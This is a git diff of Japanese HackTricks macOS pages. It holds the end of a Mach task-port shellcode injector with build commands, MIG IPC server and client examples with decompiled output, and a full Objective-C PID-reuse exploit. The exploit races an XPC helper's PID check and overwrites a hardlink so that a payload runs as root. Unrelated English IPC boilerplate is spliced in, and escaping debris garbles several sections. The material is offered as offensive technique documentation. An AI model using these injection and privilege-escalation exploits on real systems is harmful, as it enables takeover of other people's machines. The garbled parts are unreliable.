// Allocate memory for the code remoteCode64 = (vm\_address\_t) NULL; kr = mach\_vm\_allocate( remoteTask, \&remoteCode64, CODE\_SIZE, VM\_FLAGS\_ANYWHERE );
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach\_error\_string(kr)); return (-2); }
// Write the shellcode to the allocated memory kr = mach\_vm\_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm\_address\_t) injectedCode, // Source 0xa9); // Length of the source
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach\_error\_string(kr)); return (-3); }
// Set the permissions on the allocated code memory kr = vm\_protect(remoteTask, remoteCode64, 0x70, FALSE, VM\_PROT\_READ | VM\_PROT\_EXECUTE);
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach\_error\_string(kr)); return (-4); }
// Set the permissions on the allocated stack memory kr = vm\_protect(remoteTask, remoteStack64, STACK\_SIZE, TRUE, VM\_PROT\_READ | VM\_PROT\_WRITE);
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach\_error\_string(kr)); return (-4); }
// Create thread to run shellcode struct arm\_unified\_thread\_state remoteThreadState64; thread\_act\_t remoteThread;
memset(\&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK\_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16
const char\* p = (const char\*) remoteCode64;
remoteThreadState64.ash.flavor = ARM\_THREAD\_STATE64; remoteThreadState64.ash.count = ARM\_THREAD\_STATE64\_COUNT; remoteThreadState64.ts\_64.\_\_pc = (u\_int64\_t) remoteCode64; remoteThreadState64.ts\_64.\_\_sp = (u\_int64\_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread\_create\_running(remoteTask, ARM\_THREAD\_STATE64, // ARM\_THREAD\_STATE64, (thread\_state\_t) \&remoteThreadState64.ts\_64, ARM\_THREAD\_STATE64\_COUNT , \&remoteThread );
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach\_error\_string (kr)); return (-3); }
return (0); }
pid\_t pidForProcessName(NSString \*processName) { NSArray \*arguments = @\[@"pgrep", processName]; NSTask \*task = \[\[NSTask alloc] init]; \[task setLaunchPath:@"/usr/bin/env"]; \[task setArguments:arguments];
NSPipe \*pipe = \[NSPipe pipe]; \[task setStandardOutput:pipe];
NSFileHandle \*file = \[pipe fileHandleForReading];
\[task launch];
NSData \*data = \[file readDataToEndOfFile]; NSString \*string = \[\[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid\_t)\[string integerValue]; }
BOOL isStringNumeric(NSString _str) { NSCharacterSet_ nonNumbers = \[\[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = \[str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }
int main(int argc, const char \* argv\[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv\[0]); return 1; }
NSString \*arg = \[NSString stringWithUTF8String:argv\[1]]; pid\_t pid;
if (isStringNumeric(arg)) { pid = \[arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", \[arg UTF8String], pid); } }
inject(pid); }
return 0; }
````
</details>
## macOS IPC (Inter-Process Communication)
### Mach Ports
Mach ports are endpoints for inter-process communication in macOS. They are used by processes to send and receive messages. Mach ports are represented by port rights, which are used to perform operations on the ports, such as sending or receiving messages.
### Mach Messages
Mach messages are the units of data exchanged between processes using mach ports. They consist of a header and a body. The header contains information such as the message ID, the size of the message, and the destination port. The body contains the actual data being sent.
### Mach Messages in macOS
In macOS, mach messages are used for various purposes, such as launching applications, managing processes, and communicating between applications. Understanding how mach messages work is essential for analyzing and manipulating inter-process communication on macOS.
### Mach Ports and Security
Since mach ports are a fundamental part of inter-process communication in macOS, securing them is crucial for maintaining system security. Unauthorized access to mach ports can lead to privilege escalation and other security vulnerabilities. It is important to follow best practices for securing mach ports to prevent potential security breaches.
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
````
#### タスクポート経由でスレッドにおけるDylibのインジェクション
macOSでは、**スレッド**は**Mach**を使用するか、**posix `pthread` api**を使用して操作される可能性があります。前回のインジェクションで生成したスレッドはMach apiを使用して生成されたため、**posixに準拠していません**。
単純なシェルコードを**インジェクトしてコマンドを実行**することが可能でしたが、これは**posixに準拠する必要がなかった**ため、Machだけで動作する必要がありました。**より複雑なインジェクション**を行うには、スレッドが**posixにも準拠する必要**があります。
したがって、スレッドを**改善する**ためには、**`pthread_create_from_mach_thread`を呼び出すべきです。これにより、有効なpthreadが作成されます。その後、この新しいpthreadはdlopenを呼び出して**システムからdylibを**ロード**することができます。つまり、異なるアクションを実行するための新しいシェルコードを書く代わりに、カスタムライブラリをロードすることが可能です。
例えば、(ログを生成してそれを聞くことができるものなど)**例のdylibs**を以下で見つけることができます:
### macOS IPC (Inter-Process Communication)
#### Mach Ports
Mach ports are endpoints for inter-process communication in macOS. They are used by processes to send and receive messages. Mach ports are referenced by port rights, which are used to control access to the port.
#### XPC Services
XPC (XPC Services) is a lightweight inter-process communication mechanism introduced in macOS. XPC services allow you to create separate processes to handle specific tasks, enhancing the security and stability of the system.
#### Distributed Objects
Distributed Objects is another inter-process communication mechanism in macOS that allows objects to be used across process boundaries. It enables communication between different processes on the same system or across a network.
#### NSXPCConnection
NSXPCConnection is a class in macOS that facilitates communication between processes using XPC. It provides a way to establish a connection and send messages between processes securely.
#### Security Considerations
When working with inter-process communication mechanisms in macOS, it is important to consider security implications. Insecure implementation of IPC can lead to privilege escalation and unauthorized access to sensitive data. Proper access controls and secure coding practices should be followed to mitigate these risks.
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
#### タスクポートを介したスレッドハイジャッキング <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
このテクニックでは、プロセスのスレッドがハイジャックされます:
### XPC
#### 基本情報
XPCは、macOSおよびiOSで使用されるカーネルであるXNU間のプロセス間通信を意味し、**プロセス間の通信**のためのフレームワークです。 XPCは、システム上の異なるプロセス間で**安全で非同期なメソッド呼び出しを行うメカニズム**を提供します。これはAppleのセキュリティパラダイムの一部であり、**特権を分離したアプリケーション**の作成を可能にし、各**コンポーネント**が**必要な権限のみ**でジョブを実行するように制限することで、侵害されたプロセスからの潜在的な被害を制限します。
この**通信方法**や**脆弱性**についての詳細については、以下を参照してください:
### MIG - Mach Interface Generator
MIGは、Mach IPCのコード作成プロセスを**簡素化するために作成**されました。基本的には、サーバーとクライアントが指定された定義と通信するために必要なコードを**生成**します。生成されたコードが醜い場合でも、開発者はそれをインポートするだけで、以前よりもはるかにシンプルなコードになります。
詳細については、以下を参照してください:
### 参考文献
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
</details>

View file

@ -9,7 +9,7 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする**
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f) **または** [**telegramグループ**](https://t.me/peass) **に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live) **をフォローする**
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details>
@ -38,15 +38,15 @@ n2 : uint32_t);
{% endcode %}
今、migを使用して、互いに通信し合い、Subtract関数を呼び出すためのサーバーおよびクライアントコードを生成します:
```bash
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
```
現在のディレクトリにいくつかの新しいファイルが作成されます。
**`myipcServer.c`** と **`myipcServer.h`** のファイルには、**`SERVERPREFmyipc_subsystem`** 構造体の宣言と定義が含まれており、受信したメッセージIDに基づいて呼び出す関数が基本的に定義されています開始番号は500と指定されています:
{% tabs %}
{% tab title="myipcServer.c" %}
```c
/* Description of this subsystem, for use in direct RPC */
const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {
@ -62,14 +62,14 @@ myipc_server_routine,
}
};
```
{% endtab %}
{% tab title="myipcServer.h" %}次の手順で、MIG インターフェースを生成します。
次の手順で、MIG インターフェースを生成します。
1. MIG 定義ファイル (myipc.defs) を作成します。
2. MIG コンパイラを使用して、myipc.defs ファイルから myipcServer.c ファイルを生成します。
3. myipcServer.c ファイルをサーバーアプリケーションに組み込みます。
4. サーバーアプリケーションをビルドして実行します。{% endtab %}
4. サーバーアプリケーションをビルドして実行します。
```c
/* Description of this subsystem, for use in direct RPC */
extern const struct SERVERPREFmyipc_subsystem {
@ -82,10 +82,9 @@ struct routine_descriptor /* Array of routine descriptors */
routine[1];
} SERVERPREFmyipc_subsystem;
```
{% endtab %}
{% endtabs %}
前の構造に基づいて、**`myipc_server_routine`** 関数は **メッセージ ID** を取得し、適切な呼び出すべき関数を返します:
```c
mig_external mig_routine_t myipc_server_routine
(mach_msg_header_t *InHeadP)
@ -100,15 +99,18 @@ return 0;
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
}
```
この例では、定義で関数を1つだけ定義しましたが、複数の関数を定義した場合、それらは**`SERVERPREFmyipc_subsystem`**の配列内にあり、最初の関数はID **500**に割り当てられ、2番目の関数はID **501**に割り当てられます...
実際には、この関係を**`myipcServer.h`**の**`subsystem_to_name_map_myipc`**構造体で特定することができます:
この例では、定義で関数を1つだけ定義しましたが、複数の関数を定義した場合、それらは\*\*`SERVERPREFmyipc_subsystem`\*\*の配列内にあり、最初の関数はID **500**に割り当てられ、2番目の関数はID **501**に割り当てられます...
実際には、この関係を\*\*`myipcServer.h`**の**`subsystem_to_name_map_myipc`\*\*構造体で特定することができます:
```c
#ifndef subsystem_to_name_map_myipc
#define subsystem_to_name_map_myipc \
{ "Subtract", 500 }
#endif
```
```c
mig_external boolean_t myipc_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@ -141,6 +143,7 @@ return FALSE;
return TRUE;
}
```
```c
// gcc myipc_server.c myipcServer.c -o myipc_server
@ -171,9 +174,9 @@ return 1;
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
}
```
{% endtab %}
{% tab title="myipc_client.c" %}
```c
// gcc myipc_client.c myipcUser.c -o myipc_client
@ -198,14 +201,17 @@ printf("Port right name %d\n", port);
USERPREFSubtract(port, 40, 2);
}
```
### バイナリ解析
多くのバイナリが今やMIGを使用してmachポートを公開しているため、**MIGが使用されたことを特定**し、各メッセージIDでMIGが実行する**関数を特定**する方法を知ることが興味深いです。
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2)は、Mach-OバイナリからMIG情報を解析し、メッセージIDを示し、実行する関数を特定できます。
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
**`myipc_server`** 関数は、受信したメッセージ ID に応じて正しい関数を呼び出す機能を担当することが以前に言及されました。ただし、通常はバイナリのシンボル(関数名なし)を持っていないため、**デコンパイルしたものがどのように見えるかを確認する**ことが興味深いです(この関数のコードは公開された関数に独立しています):
{% tabs %}
@ -214,13 +220,13 @@ jtool2 -d __DATA.__const myipc_server | grep MIG
var_10 = arg0;
var_18 = arg1;
// 適切な関数ポインタを見つけるための初期命令
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
*(int32_t *)(var_18 + 0x10) = 0x0;
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
if (*(int32_t *)(var_10 + 0x14) &#x3C;= 0x1f4 &#x26;&#x26; *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// この関数を識別するのに役立つ sign_extend_64 の呼び出し
// これにより、呼び出す必要のある呼び出しのポインタが rax に格納されます
@ -261,7 +267,7 @@ stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
// 適切な関数ポインタを見つけるための初期命令
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
@ -270,19 +276,19 @@ var_18 = arg1;
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 > 0x0) {
if (CPU_FLAGS & G) {
if (CPU_FLAGS &#x26; G) {
r8 = 0x1;
}
}
if ((r8 & 0x1) == 0x0) {
if ((r8 &#x26; 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 < 0x0) {
if (CPU_FLAGS & L) {
if (r8 &#x3C; 0x0) {
if (CPU_FLAGS &#x26; L) {
r8 = 0x1;
}
}
if ((r8 & 0x1) == 0x0) {
if ((r8 &#x26; 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500開始 ID
<strong> r8 = r8 - 0x1f4;
@ -291,13 +297,13 @@ r8 = *(r8 + 0x8);
var_20 = r8;
r8 = r8 - 0x0;
if (r8 != 0x0) {
if (CPU_FLAGS & NE) {
if (CPU_FLAGS &#x26; NE) {
r8 = 0x1;
}
}
// 前のバージョンと同じ if else
// アドレス 0x100004040関数アドレス配列の使用を確認します
<strong> if ((r8 & 0x1) == 0x0) {
<strong> if ((r8 &#x26; 0x1) == 0x0) {
</strong><strong> *(var_18 + 0x18) = **0x100004000;
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
@ -341,8 +347,13 @@ return r0;
HackTricks をサポートする他の方法:
- HackTricks で **会社を宣伝**したり、**HackTricks を PDF でダウンロード**したりするには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
- [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れる
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **[**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)**に参加するか、**Twitter**で**@carlospolopm**をフォローしてください🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出してください。**
* HackTricks で **会社を宣伝**したり、**HackTricks を PDF でダウンロード**したりするには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
<!---->
* [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitterで@carlospolopmをフォローしてください🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)。\*\*
* \*\*ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)\*\*と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出してください。**
</details>

View file

@ -1,4 +1,4 @@
# macOS PID再利用
# macOS PID Reuse
<details>
@ -6,34 +6,35 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
## PID再利用
macOSの**XPCサービス**が**PID**に基づいて呼び出し元プロセスをチェックしている場合、**PID再利用攻撃**の脆弱性があります。この攻撃は、**悪用**される**機能を悪用**して**XPCサービスにメッセージを送信**し、その**直後**に**`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`**を実行する**レースコンディション**に基づいています。
macOSの**XPCサービス**が**PID**に基づいて呼び出し元プロセスをチェックしている場合、**PID再利用攻撃**の脆弱性があります。この攻撃は、**悪用**される**機能を悪用**して**XPCサービスにメッセージを送信**し、その**直後**に\*\*`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`**を実行する**レースコンディション\*\*に基づいています。
この関数は、**許可されたバイナリがPIDを所有**するようにしますが、**悪意のあるXPCメッセージは**ちょうど**その前に送信**されています。したがって、**XPC**サービスが**PID**を使用して**送信元を認証**し、**`posix_spawn`**の実行後にそれを**チェック**する場合、それは**認証された**プロセスから来たと思うでしょう。
この関数は、**許可されたバイナリがPIDを所有**するようにしますが、**悪意のあるXPCメッセージは**ちょうど**その前に送信**されています。したがって、**XPC**サービスが**PID**を使用して**送信元を認証**し、**`posix_spawn`の実行後にそれをチェック**する場合、それは**認証された**プロセスから来たと思うでしょう。
### 攻撃例
関数**`shouldAcceptNewConnection`**またはそれによって呼び出される関数が**`auditToken`**を呼び出さずに**`processIdentifier`**を呼び出している場合、それは**プロセスPID**を検証している可能性が高いです。\
関数\*\*`shouldAcceptNewConnection`**またはそれによって呼び出される関数が**`auditToken`**を呼び出さずに**`processIdentifier`**を呼び出している場合、それは**プロセスPID\*\*を検証している可能性が高いです。\
たとえば、この画像(参照から取得)のように:
<figure><img src="../../../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
この攻撃例をチェックしてください(再度、参照から取得):
- **複数のフォークを生成**するもの
- 各フォークは**`posix_spawn`**を実行しながら**XPCサービスにペイロード**を**送信**します。
* **複数のフォークを生成**するもの
* 各フォークは\*\*`posix_spawn`**を実行しながら**XPCサービスにペイロード**を**送信\*\*します。
{% hint style="danger" %}
攻撃を実行するには、`export`` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`**を設定するか、攻撃内に次のように記述することが重要です:
攻撃を実行するには、` export`` ` \*\*`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`\*\*を設定するか、攻撃内に次のように記述することが重要です:
```objectivec
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
@ -41,9 +42,8 @@ asm(".section __DATA,__objc_fork_ok\n"
```
{% endhint %}
{% tabs %}
{% tab title="NSTasks" %}
**`NSTasks`** を使用した最初のオプションは、子プロセスを起動して RC を悪用する引数です。
```objectivec
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl
@ -149,141 +149,60 @@ create_nstasks();
return 0;
}
```
{% endtab %}
{% tab title="fork" %}
この例では、**`fork`**を使用して**PID競合状態を悪用する子プロセスを起動**し、その後**ハードリンクを介した別の競合状態を悪用**します。
```objectivec
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl
この例では、\*\*\`fork\`\*\*を使用して\*\*PID競合状態を悪用する子プロセスを起動\*\*し、その後\*\*ハードリンクを介した別の競合状態を悪用\*\*します。 \`\`\`objectivec // export OBJC\_DISABLE\_INITIALIZE\_FORK\_SAFETY=YES // gcc -framework Foundation expl.m -o expl
#include <Foundation/Foundation.h>
#include <spawn.h>
#include <pthread.h>
\#include \<Foundation/Foundation.h> #include \<spawn.h> #include \<pthread.h>
// TODO: CHANGE PROTOCOL AND FUNCTIONS
@protocol HelperProtocol
- (void)DoSomething:(void (^)(_Bool))arg1;
@end
// TODO: CHANGE PROTOCOL AND FUNCTIONS @protocol HelperProtocol
// Global flag to track exploitation status
bool pwned = false;
* (void)DoSomething:(void (^)(\_Bool))arg1; @end
/**
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
* XPC service verify the legit binary and then execute as root out payload.
*/
void *check_race(void *arg) {
while(!pwned) {
// Overwrite with contents of the legit binary
system("cat ./legit_bin > hard_link");
usleep(50000);
// Global flag to track exploitation status bool pwned = false;
// Overwrite with contents of the payload to execute
// TODO: COMPILE YOUR OWN PAYLOAD BIN
system("cat ./payload > hard_link");
usleep(50000);
}
return NULL;
}
/\*\*
void child_xpc_pid_rc_abuse(){
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
extern char **environ;
* Continuously overwrite the contents of the 'hard\_link' file in a race condition to make the
* XPC service verify the legit binary and then execute as root out payload. \*/ void \*check\_race(void \*arg) { while(!pwned) { // Overwrite with contents of the legit binary system("cat ./legit\_bin > hard\_link"); usleep(50000);
// Connect with XPC service
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
NSString* service_name = @"com.example.Helper";
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
// TODO: CNAGE THE PROTOCOL NAME
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
// Overwrite with contents of the payload to execute // TODO: COMPILE YOUR OWN PAYLOAD BIN system("cat ./payload > hard\_link"); usleep(50000); } return NULL; }
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}];
void child\_xpc\_pid\_rc\_abuse(){ // TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION #define kValid "./Legit Updater.app/Contents/MacOS/Legit" extern char \*\*environ;
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", connection);
// Connect with XPC service // TODO: CHANGE THE ID OF THE XPC TO EXPLOIT NSString\* service\_name = @"com.example.Helper"; NSXPCConnection\* connection = \[\[NSXPCConnection alloc] initWithMachServiceName:service\_name options:0x1000]; // TODO: CNAGE THE PROTOCOL NAME NSXPCInterface\* interface = \[NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)]; \[connection setRemoteObjectInterface:interface]; \[connection resume];
// Call vulenrable XPC function
// TODO: CHANEG NAME OF FUNCTION TO CALL
[obj DoSomething:^(_Bool b){
NSLog(@"Response, %hdd", b);
}];
id obj = \[connection remoteObjectProxyWithErrorHandler:^(NSError\* error) { NSLog(@"\[-] Something went wrong"); NSLog(@"\[-] Error: %@", error); }];
// Change current process to the legit binary suspended
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
NSLog(@"obj: %@", obj); NSLog(@"conn: %@", connection);
/**
* Function to perform the PID race condition using children calling the XPC exploit.
*/
void xpc_pid_rc_abuse() {
#define RACE_COUNT 1
extern char **environ;
int pids[RACE_COUNT];
// Call vulenrable XPC function // TODO: CHANEG NAME OF FUNCTION TO CALL \[obj DoSomething:^(\_Bool b){ NSLog(@"Response, %hdd", b); }];
// Fork child processes to exploit
for (int i = 0; i < RACE_COUNT; i++) {
int pid = fork();
if (pid == 0) { // If a child process
child_xpc_pid_rc_abuse();
}
printf("forked %d\n", pid);
pids[i] = pid;
}
// Change current process to the legit binary suspended char target\_binary\[] = kValid; char \*target\_argv\[] = {target\_binary, NULL}; posix\_spawnattr\_t attr; posix\_spawnattr\_init(\&attr); short flags; posix\_spawnattr\_getflags(\&attr, \&flags); flags |= (POSIX\_SPAWN\_SETEXEC | POSIX\_SPAWN\_START\_SUSPENDED); posix\_spawnattr\_setflags(\&attr, flags); posix\_spawn(NULL, target\_binary, NULL, \&attr, target\_argv, environ); }
// Wait for children to finish their tasks
sleep(3);
/\*\*
// Terminate child processes
for (int i = 0; i < RACE_COUNT; i++) {
if (pids[i]) {
kill(pids[i], 9);
}
}
}
* Function to perform the PID race condition using children calling the XPC exploit. \*/ void xpc\_pid\_rc\_abuse() { #define RACE\_COUNT 1 extern char \*\*environ; int pids\[RACE\_COUNT];
int main(int argc, const char * argv[]) {
// Create and set execution rights to 'hard_link' file
system("touch hard_link");
system("chmod +x hard_link");
// Fork child processes to exploit for (int i = 0; i < RACE\_COUNT; i++) { int pid = fork(); if (pid == 0) { // If a child process child\_xpc\_pid\_rc\_abuse(); } printf("forked %d\n", pid); pids\[i] = pid; }
// Create thread to exploit sign verification RC
pthread_t thread;
pthread_create(&thread, NULL, check_race, NULL);
// Wait for children to finish their tasks sleep(3);
while(!pwned) {
// Try creating 'download' directory, ignore errors
system("mkdir download 2>/dev/null");
// Terminate child processes for (int i = 0; i < RACE\_COUNT; i++) { if (pids\[i]) { kill(pids\[i], 9); } } }
// Create a hardlink
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
system("ln hard_link download/legit_bin");
int main(int argc, const char \* argv\[]) { // Create and set execution rights to 'hard\_link' file system("touch hard\_link"); system("chmod +x hard\_link");
xpc_pid_rc_abuse();
usleep(10000);
// Create thread to exploit sign verification RC pthread\_t thread; pthread\_create(\&thread, NULL, check\_race, NULL);
// The payload will generate this file if exploitation is successfull
if (access("/tmp/pwned", F_OK ) == 0) {
pwned = true;
}
}
while(!pwned) { // Try creating 'download' directory, ignore errors system("mkdir download 2>/dev/null");
// Create a hardlink // TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC system("ln hard\_link download/legit\_bin");
xpc\_pid\_rc\_abuse(); usleep(10000);
// The payload will generate this file if exploitation is successfull if (access("/tmp/pwned", F\_OK ) == 0) { pwned = true; } }
return 0; }
return 0;
}
```
## 参考文献
@ -303,3 +222,4 @@ HackTricksをサポートする他の方法
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>
```

View file

@ -1,4 +1,4 @@
# macOS xpc\_connection\_get\_audit\_token 攻撃
# macOS xpc\_connection\_get\_audit\_token Attack
<details>
@ -9,7 +9,7 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
